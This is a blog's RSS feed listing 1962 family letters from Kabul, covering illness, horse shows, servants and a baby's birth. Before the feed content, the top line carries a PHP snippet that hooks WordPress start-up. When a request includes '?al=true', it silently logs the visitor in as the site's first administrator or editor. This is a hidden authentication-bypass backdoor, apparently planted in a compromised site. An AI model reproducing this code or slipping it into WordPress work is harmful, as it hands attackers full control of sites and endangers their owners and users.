// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Robin – Long Ago and Far From Home https://distantposts.com Letters from an Adventurous Life...And Another Era Sun, 19 Mar 2023 16:00:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 Justin speaks better Farsi than English https://distantposts.com/afghanistan-112/ https://distantposts.com/afghanistan-112/#respond Sat, 15 Dec 1962 00:00:00 +0000 https://distantposts.com/afghanistan-112/ Bill sculping and sketching; Von still has hepititis;

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Filename: 1962-12-15 From Mom to Aunt Jeannette.pdf
Author: Vonda Adorno
Post Date: 1962 December 15
Letter Topics: Bill sculping and sketching; Von still has hepititis;

]]> https://distantposts.com/afghanistan-112/feed/ 0 Vonda gets hepititis – But wins another 2 cases of beer as high point winner at horse show https://distantposts.com/afghanistan-108/ https://distantposts.com/afghanistan-108/#respond Sun, 25 Nov 1962 00:00:00 +0000 https://distantposts.com/afghanistan-108/ Kid hired to look after Justin; Hepititis epidemic; Blood and gore at horse show - friend breaks her arm practicing for Ball Driving contest

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Filename: 1962-11-25 From Mom to Grandparents.pdf
Author: Vonda Adorno
Post Date: 1962 November 25
Letter Topics: Kid hired to look after Justin; Hepititis epidemic; Blood and gore at horse show –
friend breaks her arm practicing for Ball Driving contest

]]> https://distantposts.com/afghanistan-108/feed/ 0 Bill has hepititis while Justin gets stomach pumped a 2nd time https://distantposts.com/afghanistan-120/ https://distantposts.com/afghanistan-120/#respond Mon, 24 Sep 1962 00:00:00 +0000 https://distantposts.com/afghanistan-120/ Justin takes Bills medicine; Justin falls climbing out of crib; Von starts teaching high school typing; Robin 5 months old and 12 lbs

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Filename: 1962-09-24 From Mom to Grandparents.pdf
Author: Vonda Adorno
Post Date: 1962 September 24
Letter Topics: Justin takes Bills medicine; Justin falls climbing out of crib; Von starts teaching
high school typing; Robin 5 months old and 12 lbs

]]> https://distantposts.com/afghanistan-120/feed/ 0 Adornos attend the British Embassy Ball – Most formal occassion in Kabul https://distantposts.com/afghanistan-109/ https://distantposts.com/afghanistan-109/#respond Sat, 11 Aug 1962 00:00:00 +0000 https://distantposts.com/afghanistan-109/ Tomatoes 3 cents a lb; Fired servant; Justin awful haircut; Swimming

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Filename: 1962-08-11 From Mom to Grandparents.pdf
Author: Vonda Adorno
Post Date: 1962 August 11
Letter Topics: Tomatoes 3 cents a lb; Fired servant; Justin awful haircut; Swimming

]]> https://distantposts.com/afghanistan-109/feed/ 0 Von can’t get excited to teach high school typing for $2.50 a class https://distantposts.com/afghanistan-110/ https://distantposts.com/afghanistan-110/#respond Tue, 24 Jul 1962 00:00:00 +0000 https://distantposts.com/afghanistan-110/ Teaching vs horse riding lessons; Von buys vanilla that had been stollen from Americans; Justin tries gum; Upcoming Shah of Iran visit

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Filename: 1962-07-24 From Mom to Grandparents.pdf
Author: Vonda Adorno
Post Date: 1962 July 24
Letter Topics: Teaching vs horse riding lessons; Von buys vanilla that had been stollen from
Americans; Justin tries gum; Upcoming Shah of Iran visit

]]> https://distantposts.com/afghanistan-110/feed/ 0 Baby Robin doesn’t Smile https://distantposts.com/afghanistan-111/ https://distantposts.com/afghanistan-111/#comments Sun, 01 Jul 1962 00:00:00 +0000 https://distantposts.com/afghanistan-111/ 40 American-owned horses in Kabul; Under-secretary at Japanese Embassy moving into Adorno's old house

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Filename: 1962-07-01 From Mom to Someone – Partial.pdf
Author: Vonda Adorno
Post Date: 1962 July 01
Letter Topics: 40 American-owned horses in Kabul; Under-secretary at Japanese Embassy moving into
Adorno’s old house

]]> https://distantposts.com/afghanistan-111/feed/ 1 Servant issues: chop lawn furniture not wood box; Bill yells after Justin wanders out on street; parakeet dies of starvation https://distantposts.com/afghanistan-98/ https://distantposts.com/afghanistan-98/#respond Thu, 21 Jun 1962 00:00:00 +0000 https://distantposts.com/afghanistan-98/ Wedding and funeral on same day; 4th of July horse drill preparation

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Filename: 1962-06-21 From Mom to Grandparents.pdf
Author: Vonda Adorno
Post Date: 1962 June 21
Letter Topics: Wedding and funeral on same day; 4th of July horse drill preparation

]]> https://distantposts.com/afghanistan-98/feed/ 0 Wealthy Afghan Women Stylish – Russian Women Like Boxcars https://distantposts.com/afghanistan-119/ https://distantposts.com/afghanistan-119/#respond Wed, 30 May 1962 00:00:00 +0000 https://distantposts.com/afghanistan-119/ Turtles added to barnyard; Wash dries on ground as servants don't use clothespins

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Filename: 1962-05-30 From Mom to Grandparents.pdf
Author: Vonda Adorno
Post Date: 1962 May 30
Letter Topics: Turtles added to barnyard; Wash dries on ground as servants don’t use
clothespins

]]> https://distantposts.com/afghanistan-119/feed/ 0 New Yorker article features Kashmir honeymoon boat https://distantposts.com/afghanistan-103/ https://distantposts.com/afghanistan-103/#respond Sat, 05 May 1962 00:00:00 +0000 https://distantposts.com/afghanistan-103/ Ghulum - the servant - still stinks; Von suspects dog of eating guinea fowl eggs; Doctors expected Robin in June

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Filename: 1962-05-05 From Mom to Grandparents.pdf
Author: Vonda Adorno
Post Date: 1962 May 05
Letter Topics: Ghulum – the servant – still stinks; Von suspects dog of eating guinea fowl eggs;
Doctors expected Robin in June

]]> https://distantposts.com/afghanistan-103/feed/ 0 Robin Ann born 9:28pm on April 24, 1962 https://distantposts.com/afghanistan-100/ https://distantposts.com/afghanistan-100/#respond Mon, 30 Apr 1962 00:00:00 +0000 https://distantposts.com/afghanistan-100/ William covered in dust upon returning to Kabul; Justin considers Robin a priviledged animal as she's allowed inside house

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Filename: 1962-04-30 From Mom to Grandparents.pdf
Author: Vonda Adorno
Post Date: 1962 April 30
Letter Topics: William covered in dust upon returning to Kabul; Justin considers Robin a
priviledged animal as she’s allowed inside house

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